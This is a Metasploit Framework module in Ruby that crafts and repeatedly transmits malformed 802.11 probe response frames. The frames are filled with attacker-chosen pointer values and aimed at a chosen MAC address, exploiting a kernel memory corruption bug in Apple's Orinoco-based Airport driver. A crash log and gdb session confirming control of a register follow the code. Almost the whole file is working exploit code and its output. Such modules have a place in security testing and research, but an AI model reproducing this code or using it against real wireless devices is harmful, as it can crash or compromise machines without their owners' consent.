## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Lorcon2 include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Name' => 'Apple Airport 802.11 Probe Response Kernel Memory Corruption', 'Description' => %q{ The Apple Airport driver provided with Orinoco-based Airport cards (1999-2003 PowerBooks, iMacs) is vulnerable to a remote memory corruption flaw. When the driver is placed into active scanning mode, a malformed probe response frame can be used to corrupt internal kernel structures, leading to arbitrary code execution. This vulnerability is triggered when a probe response frame is received that does not contain valid information element (IE) fields after the fixed-length header. The data following the fixed-length header is copied over internal kernel structures, resulting in memory operations being performed on attacker-controlled pointer values. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$' )) register_options( [ OptInt.new('COUNT', [ true, "The number of frames to send", 2000]), OptString.new('ADDR_DST', [ true, "The MAC address of the target system"]) ], self.class) end # # This bug is easiest to trigger when the card has been placed into active scan mode: # $ /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -s -r 10000 # def run open_wifi cnt = datastore['COUNT'].to_i print_status("Creating malicious probe response frame...") frame = create_frame() print_status("Sending #{cnt} frames...") cnt.times { wifi.write(frame) } end def create_frame bssid = Rex::Text.rand_text(6) seq = [rand(255)].pack('n') caps = [rand(65535)].pack('n') frame = "\x50" + # type/subtype "\x00" + # flags "\x00\x00" + # duration eton(datastore['ADDR_DST']) + # dst bssid + # src bssid + # bssid seq + # seq Rex::Text.rand_text(8) + # timestamp value Rex::Text.rand_text(2) + # beacon interval Rex::Text.rand_text(2) # capabilities frame << [0x0defaced].pack('N') * ((1024-frame.length) / 4) return frame end end =begin Tested on a 1.0Ghz PowerBook running 10.4.8 with the latest updates (Halloween, 2006) Unresolved kernel trap(cpu 0): 0x300 - Data access DAR=0x000000000DEFACF7 PC=0x00000000007A2260 Latest crash info for cpu 0: Exception state (sv=0x3AA12A00) PC=0x007A2260; MSR=0x00009030; DAR=0x0DEFACF7; DSISR=0x40000000; LR=0x007A1D48; R1=0x17443B60; XCP=0x0000000C (0x300 - Data access) Backtrace: 0x01BC80AC 0x007A1D48 0x0079FA54 0x0079FF94 0x0079FEBC 0x002D0B94 0x002CFA5C 0x000A9314 Kernel loadable modules in backtrace (with dependencies): com.apple.driver.AppleAirPort(3.4.4)@0x797000 dependency: com.apple.iokit.IONetworkingFamily(1.5.0)@0x5f8000 Proceeding back via exception chain: Exception state (sv=0x3AA12A00) previously dumped as "Latest" state. skipping... Exception state (sv=0x31F13A00) PC=0x00000000; MSR=0x0000D030; DAR=0x00000000; DSISR=0x00000000; LR=0x00000000; R1=0x00000000; XCP=0x00000000 (Unknown) Kernel version: Darwin Kernel Version 8.8.0: Fri Sep 8 17:18:57 PDT 2006; root:xnu-792.12.6.obj~1/RELEASE_PPC (gdb) showcurrentstacks task vm_map ipc_space #acts pid proc command 0x01a73dd8 0x00cdaf3c 0x01a68ef0 38 0 0x003fb200 kernel_task activation thread pri state wait_queue wait_event 0x01a7c000 0x01a7c000 82 R reserved_stack=0x173b0000 kernel_stack=0x17440000 stacktop=0x17443b60 0x17443b60 0x1bc80ac 0x17443be0 0x7a1d48 0x17443c60 0x79fa54 0x17443ce0 0x79ff94 0x17443d90 0x79febc 0x17443df0 0x2d0b94 <_ZN22IOInterruptEventSource12checkForWorkEv+184> 0x17443e40 0x2cfa5c <_ZN10IOWorkLoop10threadMainEv+104> 0x17443e90 0xa9314 stackbottom=0x17443e90 (gdb) x/3i $pc 0x7a2260 : lbz r8,0(r2) 0x7a2264 : addi r2,r2,1 0x7a2268 : stw r2,0(r11) (gdb) i r $r2 r2 0xdefacf7 233811191 (gdb) x/x $r11 0x17443bb8: 0x0defacf7 (gdb) bt #0 0x007a2260 in mhp.1762 () #1 0x007a1d48 in mhp.1762 () warning: Previous frame identical to this frame (corrupt stack?) #2 0x007a1d48 in mhp.1762 () #3 0x0079fa54 in mhp.1762 () #4 0x0079ff94 in mhp.1762 () #5 0x0079febc in mhp.1762 () #6 0x002d0b94 in IOInterruptEventSource::checkForWork (this=0x1d80d40) at /SourceCache/xnu/xnu-792.12.6/iokit/Kernel/IOInterruptEventSource.cpp:196 #7 0x002cfa5c in IOWorkLoop::threadMain (this=0x1d803c0) at /SourceCache/xnu/xnu-792.12.6/iokit/Kernel/IOWorkLoop.cpp:267 (gdb) x/40x $r1 0x17443b60: 0x17443be0 0x22424022 0x01bc80ac 0x00000038 0x17443b70: 0x00d43c54 0x0004ffff 0x01bc81f4 0x00000210 0x17443b80: 0x02275000 0x003d8000 0x004fa418 0x00365000 0x17443b90: 0x01d803c0 0x00033e88 0x01a7c01c 0x01a7c0a4 0x17443ba0: 0x0defaced 0x01bc8000 0x0227581e 0x0defacf7 0x17443bb0: 0x00000000 0x0227581e 0x0defacf7 0x00000001 0x17443bc0: 0x00000002 0x01bc81f4 0x00000000 0x00000000 0x17443bd0: 0x17443c10 0x01a858c0 0x17443be0 0x01d80d40 0x17443be0: 0x17443c60 0x01bc81f4 0x007a1d48 0x00000000 0x17443bf0: 0x17443c20 0x00008088 0x01bc8000 0x0227581e =end